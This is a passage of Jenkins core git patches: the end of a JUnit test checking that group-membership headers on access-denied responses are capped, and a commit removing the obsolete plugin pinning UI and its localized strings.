com.gargoylesoftware.htmlunit.util.NameValuePair; +import java.net.HttpURLConnection; +import java.util.ArrayList; +import java.util.List; +import org.hamcrest.Matchers; +import static org.junit.Assert.*; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.MockAuthorizationStrategy; + +public class AccessDeniedException2Test { + + @Rule + public JenkinsRule r = new JenkinsRule(); + + @Issue("JENKINS-39402") + @Test + public void youAreInGroupHeaders() throws Exception { + JenkinsRule.DummySecurityRealm realm = r.createDummySecurityRealm(); + String[] groups = new String[1000]; + for (int i = 0; i < groups.length; i++) { + groups[i] = "group" + i; + } + realm.addGroups("user", groups); + r.jenkins.setSecurityRealm(realm); + r.jenkins.setAuthorizationStrategy(new MockAuthorizationStrategy()); + try { + r.createWebClient().login("user").goTo("confgure"); + fail("should not have been allowed to access anything"); + } catch (FailingHttpStatusCodeException x) { + assertEquals(HttpURLConnection.HTTP_FORBIDDEN, x.getStatusCode()); + List reportedGroups = new ArrayList<>(); + for (NameValuePair header : x.getResponse().getResponseHeaders()) { + if (header.getName().equals("X-You-Are-In-Group")) { + reportedGroups.add(header.getValue()); + } + } + assertThat("capped at a reasonable number", reportedGroups, Matchers.>allOf( + Matchers.hasSize(11), // 10 groups plus final warning + Matchers.hasItem("<991 more>"))); // 1000 + SecurityRealm.AUTHENTICATED_AUTHORITY.getAuthority() - 10 + } + } + +} -- GitLab From 7457318b2c52a0c478e376cbb02f34b603c2173f Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 27 Jan 2017 17:28:05 -0500 Subject: [PATCH 577/712] [FIXED JENKINS-34065] Deleting obsolete pinning UI. --- .../hudson/PluginManager/installed.jelly | 19 ------------------- .../hudson/PluginManager/installed.properties | 3 +-- .../PluginManager/installed_bg.properties | 3 --- .../PluginManager/installed_cs.properties | 2 -- .../PluginManager/installed_da.properties | 3 --- .../PluginManager/installed_de.properties | 3 --- .../PluginManager/installed_es.properties | 3 --- .../PluginManager/installed_fi.properties | 2 -- .../PluginManager/installed_fr.properties | 3 --- .../PluginManager/installed_hu.properties | 1 - .../PluginManager/installed_it.properties | 3 --- .../PluginManager/installed_ja.properties | 3 --- .../PluginManager/installed_ko.properties | 3 --- .../PluginManager/installed_lv.properties | 3 --- .../PluginManager/installed_nl.properties | 3 --- .../PluginManager/installed_pl.properties | 2 -- .../PluginManager/installed_pt_BR.properties | 3 --- .../PluginManager/installed_pt_PT.properties | 2 -- .../PluginManager/installed_ro.properties | 3 --- .../PluginManager/installed_ru.properties | 3 --- .../PluginManager/installed_sk.properties | 1 - .../PluginManager/installed_sr.properties | 3 --- .../PluginManager/installed_uk.properties | 3 --- .../PluginManager/installed_zh_CN.properties | 3 --- .../PluginManager/installed_zh_TW.properties | 3 --- .../jenkins/model/Jenkins/systemInfo.jelly | 2 -- .../model/Jenkins/systemInfo_bg.properties | 1 - .../model/Jenkins/systemInfo_de.properties | 1 - .../model/Jenkins/systemInfo_el.properties | 1 - .../model/Jenkins/systemInfo_es.properties | 1 - .../model/Jenkins/systemInfo_fr.properties | 1 - .../model/Jenkins/systemInfo_it.properties | 1 - .../model/Jenkins/systemInfo_ja.properties | 1 - .../model/Jenkins/systemInfo_ko.properties | 1 - .../model/Jenkins/systemInfo_lt.properties | 1 - .../model/Jenkins/systemInfo_lv.properties | 1 - .../model/Jenkins/systemInfo_pl.properties | 1 - .../model/Jenkins/systemInfo_pt_BR.properties | 1 - .../model/Jenkins/systemInfo_ru.properties | 1 - .../model/Jenkins/systemInfo_sr.properties | 1 - .../model/Jenkins/systemInfo_sv_SE.properties | 1 - .../model/Jenkins/systemInfo_uk.properties | 1 - .../model/Jenkins/systemInfo_zh_CN.properties | 1 - .../model/Jenkins/systemInfo_zh_TW.properties | 1 - 44 files changed, 1 insertion(+), 102 deletions(-) diff --git a/core/src/main/resources/hudson/PluginManager/installed.jelly b/core/src/main/resources/hudson/PluginManager/installed.jelly index 22ff5f7419..490e70f154 100644 --- a/core/src/main/resources/hudson/PluginManager/installed.jelly +++ b/core/src/main/resources/hudson/PluginManager/installed.jelly @@ -64,7 +64,6 @@ THE SOFTWARE. ${%Name} ${%Version} ${%Previously installed version} - ${%Pinned} ${%Uninstall} @@ -113,12 +112,6 @@ THE SOFTWARE. - - - - - - @@ -204,18 +197,6 @@ THE SOFTWARE. } updateMsg(); // set the initial state - - function unpin(button,shortName) { - new Ajax.Request("./plugin/"+shortName+"/unpin", { - method: "POST", - onFailure : function(t) { - alert('Failed to unpin:'+t.responseText); - }, - onSuccess : function(t) { - $('unpin-'+shortName).innerHTML = ""; - } - }); - } diff --git a/core/src/main/resources/hudson/PluginManager/installed.properties b/core/src/main/resources/hudson/PluginManager/installed.properties index 2fa0cafb80..0c1b07c427 100644 --- a/core/src/main/resources/hudson/PluginManager/installed.properties +++ b/core/src/main/resources/hudson/PluginManager/installed.properties @@ -19,6 +19,5 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins downgradeTo=Downgrade to {0} -requires.restart=This Jenkins instance requires a restart. Changing the state of plugins at this time is strongly discouraged. Restart Jenkins before proceeding. \ No newline at end of file +requires.restart=This Jenkins instance requires a restart. Changing the state of plugins at this time is strongly discouraged. Restart Jenkins before proceeding. diff --git a/core/src/main/resources/hudson/PluginManager/installed_bg.properties b/core/src/main/resources/hudson/PluginManager/installed_bg.properties index c950862a63..eb32e7b3ce 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_bg.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_bg.properties @@ -26,7 +26,6 @@ Enabled=\ \u0420\u0430\u0437\u0440\u0435\u0448\u0435\u043d Name=\ \u0418\u043c\u0435 -Pinned=\ \u0424\u0438\u043a\u0441\u0438\u0440\u0430\u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f Previously\ installed\ version=\ \u041f\u0440\u0435\u0434\u0438\u0448\u043d\u043e \u0438\u043d\u0441\u0442\u0430\u043b\u0438\u0440\u0430\u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f @@ -36,7 +35,6 @@ Uncheck\ to\ disable\ the\ plugin=\ \u041c\u0430\u0445\u043d\u0435\u0442\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0430\u0442\u0430 \u0437\u0430 \u0437\u0430\u0431\u0440\u0430\u043d\u0430 \u043d\u0430 \u043f\u0440\u0438\u0441\u0442\u0430\u0432\u043a\u0430\u0442\u0430 Uninstall=\ \u0414\u0435\u0438\u043d\u0441\u0442\u0430\u043b\u0438\u0440\u0430\u043d\u0435 -Unpin=\ \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f Version=\ \u0412\u0435\u0440\u0441\u0438\u044f @@ -62,7 +60,6 @@ This\ plugin\ cannot\ be\ enabled=\ \u0422\u0430\u0437\u0438 \u043f\u0440\u0438\u0441\u0442\u0430\u0432\u043a\u0430 \u043d\u0435 \u043c\u043e\u0436\u0435 \u0434\u0430 \u0441\u0435 \u0432\u043a\u043b\u044e\u0447\u0438 Filter=\ \u0424\u0438\u043b\u0442\u0440\u0438\u0440\u0430\u043d\u0435 -wiki.url=\ \u0422\u0430\u0437\u0438 \u043f\u0440\u0438\u0441\u0442\u0430\u0432\u043a\u0430 \u043d\u0435 \u043c\u043e\u0436\u0435 \u0434\u0430 \u0441\u0435 \u0438\u0437\u043a\u043b\u044e\u0447\u0438 requires.restart=\ \u0422\u0440\u044f\u0431\u0432\u0430 \u0434\u0430 \u0440\u0435\u0441\u0442\u0430\u0440\u0442\u0438\u0440\u0430\u0442\u0435 Jenkins, \u043f\u0440\u0435\u0434\u0438 \u0434\u0430 \u043f\u0440\u0430\u0432\u0438\u0442\u0435 \u043f\u043e\u0432\u0435\u0447\u0435 \u043f\u0440\u043e\u043c\u0435\u043d\u0438 \u043f\u043e\ diff --git a/core/src/main/resources/hudson/PluginManager/installed_cs.properties b/core/src/main/resources/hudson/PluginManager/installed_cs.properties index 21847ed21d..9fb56abb6a 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_cs.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_cs.properties @@ -3,11 +3,9 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=Zm\u011Bny se projev\u00ED a\u017E po restartu Jenkinse Enabled=Povolen\u00E9 Name=Jm\u00E9no -Pinned=Preferovat Previously\ installed\ version=P\u0159edchoz\u00ED nainstalovan\u00E1 verze Restart\ Once\ No\ Jobs\ Are\ Running=Restartovat a\u017E po dokon\u010Den\u00ED v\u0161ech \u00FAloh. Uncheck\ to\ disable\ the\ plugin=Od\u0161krtnout pro deaktivaci modulu Uninstall=Odinstalovat Version=Verze downgradeTo=Vr\u00E1tit se k {0} -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_da.properties b/core/src/main/resources/hudson/PluginManager/installed_da.properties index 4086d2a08a..9e17d01892 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_da.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_da.properties @@ -21,15 +21,12 @@ # THE SOFTWARE. Version=Version -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins Restart\ Once\ No\ Jobs\ Are\ Running=Genstart n\u00e5r ingen jobs k\u00f8rer Previously\ installed\ version=Forudg\u00e5ende installerede version New\ plugins\ will\ take\ effect\ once\ you\ restart\ Jenkins=Nye plugins tr\u00e6der i kraft efter du har genstartet Jenkins Uncheck\ to\ disable\ the\ plugin=Fjern flueben for at sl\u00e5 plugin''et fra No\ plugins\ installed.=Ingen installerede plugins. downgradeTo=Nedgrader til {0} -Pinned=L\u00e5st Name=Navn Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=\u00c6ndringer tr\u00e6der i kraft efter Jenkins er genstartet Enabled=Sl\u00e5et til -Unpin=L\u00e5s op diff --git a/core/src/main/resources/hudson/PluginManager/installed_de.properties b/core/src/main/resources/hudson/PluginManager/installed_de.properties index 3653a5c9e8..e8cef970fe 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_de.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_de.properties @@ -29,9 +29,6 @@ Version=Version Restart\ Once\ No\ Jobs\ Are\ Running=Neu starten, sobald keine Jobs mehr laufen. Previously\ installed\ version=Vorher installierte Version downgradeTo={0} wiederherstellen -Pinned=Gesperrt -Unpin=Entsperren -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins Uninstall=Deinstallieren Uninstallation\ pending=Zur Deinstallation vorgemerkt Update\ Center=Update-Center diff --git a/core/src/main/resources/hudson/PluginManager/installed_es.properties b/core/src/main/resources/hudson/PluginManager/installed_es.properties index 70956f31d1..34f849e78d 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_es.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_es.properties @@ -27,10 +27,7 @@ Name=Nombre Version=Versión Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=Los cambios no estarán disponibles hasta que Jenkins se reinicie Restart\ Once\ No\ Jobs\ Are\ Running=Reiniciar cuando no haya tareas en ejecución -wiki.url="http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins" downgradeTo=Bajar a la version {0}. Previously\ installed\ version=Versión previamente instalada. -Pinned=marcado Uninstall=Desinstalar -Unpin=desmarcar Update\ Center=Centro de actualizaciones diff --git a/core/src/main/resources/hudson/PluginManager/installed_fi.properties b/core/src/main/resources/hudson/PluginManager/installed_fi.properties index c04443e10d..209c8d6e2d 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_fi.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_fi.properties @@ -23,10 +23,8 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=Muutokset astuvat voimaan kun Jenkins k\u00E4ynnistet\u00E4\u00E4n Enabled=Aktivoitu Name=Nimi -Pinned=Lukittu Previously\ installed\ version=Aiemmin asennettu versio Restart\ Once\ No\ Jobs\ Are\ Running=K\u00E4ynnist\u00E4 heti kun k\u00E4\u00E4nn\u00F6ksi\u00E4 ei ole ajossa Uncheck\ to\ disable\ the\ plugin=Poist ruudun rasti poistaaksesi liit\u00E4nn\u00E4inen k\u00E4yt\u00F6st\u00E4 -Unpin=Vapauta lukitus Version=Versio downgradeTo=Palaa versioon {0} diff --git a/core/src/main/resources/hudson/PluginManager/installed_fr.properties b/core/src/main/resources/hudson/PluginManager/installed_fr.properties index fde1e85e1c..b3767a6e65 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_fr.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_fr.properties @@ -28,9 +28,6 @@ Uncheck\ to\ disable\ the\ plugin=D\u00e9cochez pour d\u00e9sactiver le plugin Enabled=Activ\u00e9 Name=Nom Uninstall=D\u00E9sinstaller -Unpin=Annuler \u00E9pingler Version=Version -Pinned=\u00C9pingl\u00E9 Previously\ installed\ version=Version pr\u00E9c\u00E9dente downgradeTo=R\u00E9trograder \u00E0 {0} -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_hu.properties b/core/src/main/resources/hudson/PluginManager/installed_hu.properties index 01d83570d0..a71aafe356 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_hu.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_hu.properties @@ -28,4 +28,3 @@ Restart\ Once\ No\ Jobs\ Are\ Running=\u00DAjraind\u00EDt\u00E1s ha m\u00E1r nin Uncheck\ to\ disable\ the\ plugin=T\u00F6r\u00F6lje a jel\u00F6l\u00E9st a be\u00E9p\u00FCl\u0151 kikapcsol\u00E1s\u00E1hoz Version=Verzi\u00F3 downgradeTo=Visszafriss\u00EDt\u00E9s {0} verzi\u00F3ra -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_it.properties b/core/src/main/resources/hudson/PluginManager/installed_it.properties index 0c30e7269d..2be147af2a 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_it.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_it.properties @@ -23,12 +23,9 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=Le modifiche avranno effetto quando riavvierai Jenkins Enabled=Attivo Name=Nome -Pinned=Bloccato Previously\ installed\ version=Versione precedente Restart\ Once\ No\ Jobs\ Are\ Running=Riavvia quando non ci sono lavori in esecuzione Uncheck\ to\ disable\ the\ plugin=Deseleziona per disattivare il plugin Uninstall=Disintalla -Unpin=Sblocca Version=Versione downgradeTo=Retrocedi a -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_ja.properties b/core/src/main/resources/hudson/PluginManager/installed_ja.properties index cca9a2797f..8e9aaf1ef6 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_ja.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_ja.properties @@ -27,9 +27,6 @@ Enabled=\u6709\u52b9\u5316 Name=\u540d\u524d Version=\u30d0\u30fc\u30b8\u30e7\u30f3 Restart\ Once\ No\ Jobs\ Are\ Running=\u30b8\u30e7\u30d6\u304c\u5b9f\u884c\u4e2d\u3067\u306a\u3051\u308c\u3070\u518d\u8d77\u52d5 -Pinned=\u30d4\u30f3 -Unpin=\u89e3\u9664 -wiki.url=http://wiki.jenkins-ci.org/display/JA/Pinned+Plugins Previously\ installed\ version=\u524d\u56de\u30d0\u30fc\u30b8\u30e7\u30f3 downgradeTo={0} \u306b\u30c0\u30a6\u30f3\u30b0\u30ec\u30fc\u30c9 Update\ Center=\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u30bb\u30f3\u30bf\u30fc diff --git a/core/src/main/resources/hudson/PluginManager/installed_ko.properties b/core/src/main/resources/hudson/PluginManager/installed_ko.properties index 7a6397fbf4..1d745838f4 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_ko.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_ko.properties @@ -23,13 +23,10 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=Jenkins\uC744 \uC7AC\uC2DC\uC791\uD558\uBA74 \uBCC0\uACBD\uC0AC\uD56D\uC774 \uC801\uC6A9\uB429\uB2C8\uB2E4. Enabled=\uC0AC\uC6A9\uAC00\uB2A5 Name=\uC774\uB984 -Pinned=\uACE0\uC815\uB428 Previously\ installed\ version=\uC774\uC804 \uC124\uCE58 \uBC84\uC804 Restart\ Once\ No\ Jobs\ Are\ Running=\uB3D9\uC791\uC911\uC778 \uC791\uC5C5\uC774 \uC5C6\uC73C\uBA74 \uD55C\uBC88 \uC7AC\uAE30\uB3D9\uD569\uB2C8\uB2E4. Uncheck\ to\ disable\ the\ plugin=\uC0AC\uC6A9\uBD88\uAC00 \uD50C\uB7EC\uADF8\uC778 \uCCB4\uD06C\uD574\uC81C Uninstall=\uC124\uCE58 \uC81C\uAC70 Uninstallation\ pending=\uC0AD\uC81C \uB300\uAE30 -Unpin=\uACE0\uC815 \uD574\uC81C Version=\uBC84\uC804 downgradeTo={0}\uC73C\uB85C \uB2E4\uC6B4\uADF8\uB808\uC774\uB4DC -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_lv.properties b/core/src/main/resources/hudson/PluginManager/installed_lv.properties index 27b7271b2c..6539b07429 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_lv.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_lv.properties @@ -3,11 +3,8 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=Izmai\u0146as st\u0101sies sp\u0113k\u0101 p\u0113c Jenkins p\u0101rstart\u0113\u0161anas Enabled=Iespejots Name=Nosaukums -Pinned=Piesaist\u012Bts Previously\ installed\ version=Iepriek\u0161 instal\u0113t\u0101 versija Restart\ Once\ No\ Jobs\ Are\ Running=P\u0101rstart\u0113 tikl\u012Bdz neviens uzdevums nestr\u0101d\u0101 Uncheck\ to\ disable\ the\ plugin=At\u0137eks\u0113 lai atsp\u0113jotu spraudni Uninstall=Atinstal\u0113t -Unpin=Atsiet Version=Versija -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_nl.properties b/core/src/main/resources/hudson/PluginManager/installed_nl.properties index 78c5ea2861..aa7cc81894 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_nl.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_nl.properties @@ -27,10 +27,7 @@ Restart\ Once\ No\ Jobs\ Are\ Running=Opnieuw starten Uncheck\ to\ disable\ the\ plugin=Vink aan om de plugin te de-activeren. Enabled=Actief Name=Naam -Unpin=Losmaken Version=Versie -Pinned=Vastgezet Previously\ installed\ version=Vorige ge\u00EFnstalleerde versie Restart\ Now=Nu herstarten downgradeTo=Versie {0} terugzetten -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_pl.properties b/core/src/main/resources/hudson/PluginManager/installed_pl.properties index 9fd5654ff2..882151920a 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_pl.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_pl.properties @@ -23,12 +23,10 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=Zmiany zostan\u0105 wprowadzone po ponownym uruchomieniu Jenkinsa Enabled=W\u0142\u0105czone wtyczki Name=Nazwa -Pinned=Przypi\u0119ta Previously\ installed\ version=Poprzednia zainstalowana wersja Restart\ Once\ No\ Jobs\ Are\ Running=Uruchom ponownie gdy \u017Cadne zadania nie s\u0105 wykonywane Uncheck\ to\ disable\ the\ plugin=Odznacz aby wy\u0142\u0105czy\u0107 wtyczk\u0119 Uninstall=Odinstaluj -Unpin=Odepnij Version=Wersja downgradeTo=Powr\u00F3\u0107 do starszej wersji {0} requires.restart=Wymagane jest ponowne uruchomienie Jenkinsa. Zmiany wtyczek w tym momencie s\u0105 bardzo niewskazane. Uruchom ponownie Jenkinsa, zanim wprowadzisz zmiany. diff --git a/core/src/main/resources/hudson/PluginManager/installed_pt_BR.properties b/core/src/main/resources/hudson/PluginManager/installed_pt_BR.properties index 492b30e39c..543c634fa8 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_pt_BR.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_pt_BR.properties @@ -24,15 +24,12 @@ No\ plugins\ installed.=Nenhum plugin instalado. Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=A mudan\u00e7as ter\u00e3o efeito quando o Jenkins for reiniciado Uncheck\ to\ disable\ the\ plugin=Desmarque para desativar o plugin Enabled=Habilitar -Pinned=Fixado Previously\ installed\ version=Vers\u00E3o anterior instalada Restart\ Once\ No\ Jobs\ Are\ Running=Reiniciar assim que nenhum job estiver rodando Uninstall=Desinstalar -Unpin=Desprender Version=Vers\u00e3o Name=Nome downgradeTo=Regredir para {0} -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins Filter=Filtro Update\ Center=Central de atualiza\u00e7\u00e3o No\ description\ available.=Nenhuma descri\u00e7\u00e3o dispon\u00edvel diff --git a/core/src/main/resources/hudson/PluginManager/installed_pt_PT.properties b/core/src/main/resources/hudson/PluginManager/installed_pt_PT.properties index 32259b92ec..e4464f4900 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_pt_PT.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_pt_PT.properties @@ -3,11 +3,9 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=As altera\u00E7\u00F5es ser\u00E3o aplicadas quando reiniciares o Jenkins Enabled=Ativado Name=Nome -Pinned=Fixo Previously\ installed\ version=\u00DAltima vers\u00E3o instalada Restart\ Once\ No\ Jobs\ Are\ Running=Reiniciar quando n\u00E3o estiverem Jobs em execu\u00E7\u00E3o Uncheck\ to\ disable\ the\ plugin=Seleccione para desactivar o plugin Uninstall=Desinstalar Version=Vers\u00E3o downgradeTo=Downgrade para {0} -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_ro.properties b/core/src/main/resources/hudson/PluginManager/installed_ro.properties index 9d960272ae..a0fc137d09 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_ro.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_ro.properties @@ -3,11 +3,8 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=Schimb\u0103rile vor avea efect c\u00E2nd ve\u021Bi reporni Jenkins Enabled=Activat Name=Denumire -Pinned=Fixat Previously\ installed\ version=Versiunea instalat\u0103 anterior Restart\ Once\ No\ Jobs\ Are\ Running=Reporne\u0219te odat\u0103 ce nu mai sunt joburi ce ruleaz\u0103 Uncheck\ to\ disable\ the\ plugin=Debifa\u021Bi pentru a dezactiva pluginul -Unpin=Defixeaz\u0103 Version=Versiune downgradeTo=Retrogradeaz\u0103 la -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_ru.properties b/core/src/main/resources/hudson/PluginManager/installed_ru.properties index 8fd3ed2033..02ece96267 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_ru.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_ru.properties @@ -23,13 +23,10 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=\u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432\u0441\u0442\u0443\u043f\u044f\u0442 \u0432 \u0441\u0438\u043b\u0443 \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 Jenkins Enabled=\u0410\u043a\u0442\u0438\u0432\u043d\u044b\u0439 Name=\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 -Pinned=\u041f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u044b\u0435 Previously\ installed\ version=\u0420\u0430\u043d\u0435\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Restart\ Once\ No\ Jobs\ Are\ Running=\u041f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0438 \u0432\u0441\u0435\u0445 \u0437\u0430\u0434\u0430\u0447 Uncheck\ to\ disable\ the\ plugin=\u0421\u043d\u0438\u043c\u0438\u0442\u0435 \u0444\u043b\u0430\u0436\u043e\u043a, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d Uninstall=\u0423\u0434\u0430\u043b\u0438\u0442\u044c Uninstallation\ pending=\u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f... -Unpin=\u041e\u0442\u043a\u0440\u0435\u043f\u0438\u0442\u044c Version=\u0412\u0435\u0440\u0441\u0438\u044f downgradeTo=\u0412\u0435\u0440\u043d\u0443\u0442\u044c \u043a \u0432\u0435\u0440\u0441\u0438\u0438 {0} -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_sk.properties b/core/src/main/resources/hudson/PluginManager/installed_sk.properties index c8e9109514..a8be797120 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_sk.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_sk.properties @@ -9,4 +9,3 @@ Uncheck\ to\ disable\ the\ plugin=Odzna\u010Den\u00EDm zak\u00E1\u017Eete plugin Uninstall=Odin\u0161taluj Uninstallation\ pending=Odin\u0161tal\u00E1cia \u010Dak\u00E1 Version=Verzia -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_sr.properties b/core/src/main/resources/hudson/PluginManager/installed_sr.properties index 0adbdf655e..b555a4dbe9 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_sr.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_sr.properties @@ -16,12 +16,9 @@ Enabled=\u0410\u043A\u0442\u0438\u043D\u0432\u043E Name=\u0418\u043C\u0435 Version=\u0412\u0435\u0440\u0437\u0438\u0458\u0430 Previously\ installed\ version=\u041F\u0440\u0435\u0442\u0445\u043E\u0434\u043D\u043E \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0430 \u0432\u0435\u0440\u0437\u0438\u0458\u0430 -Pinned=\u0424\u0438\u043A\u0441\u0438\u0440\u0430\u043D\u0430 \u0432\u0435\u0440\u0437\u0438\u0458\u0430 Uninstall=\u0414\u0435\u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 No\ description\ available.=\u041D\u0435\u043C\u0430 \u043E\u043F\u0438\u0441\u0430 downgradeTo=\u0412\u0440\u0430\u0442\u0438 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 \u043D\u0430\u0437\u0430\u0434 \u043D\u0430 {0} -Unpin=\u041E\u0434\u043C\u0440\u0437\u043D\u0438 -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins Uninstallation\ pending=\u0414\u0435\u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 \u0458\u0435 \u0443 \u0442\u043E\u043A\u0443 Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=\u041F\u0440\u043E\u043C\u0435\u043D\u0435 \u045B\u0435 \u0441\u0442\u0443\u043F\u0438\u0442\u0438 \u043D\u0430\u043A\u043E\u043D \u043F\u043E\u043D\u043E\u0432\u043D\u043E\u0433 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0430 Jenkins Restart\ Once\ No\ Jobs\ Are\ Running=\u041F\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0442\u0438 \u043A\u0430\u0434 \u043D\u0435 \u0431\u0443\u0434\u0435 \u0431\u0438\u043B\u043E \u0442\u0435\u043A\u0443\u045B\u0438\u0445 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430. diff --git a/core/src/main/resources/hudson/PluginManager/installed_uk.properties b/core/src/main/resources/hudson/PluginManager/installed_uk.properties index cdfbd4ea61..36ca71b5e9 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_uk.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_uk.properties @@ -3,12 +3,9 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=\uBCC0\uACBD\uC0AC\uD56D\uC740 \uC820\uD0A8\uC2A4\uB97C \uC7AC\uC2DC\uC791\uD560\uB54C \uC801\uC6A9\uB429\uB2C8\uB2E4 Enabled=\uD65C\uC131\uD654\uB428 Name=\uC774\uB984 -Pinned=\uD540 \uACE0\uC815 Previously\ installed\ version=\uC774\uC804\uC5D0 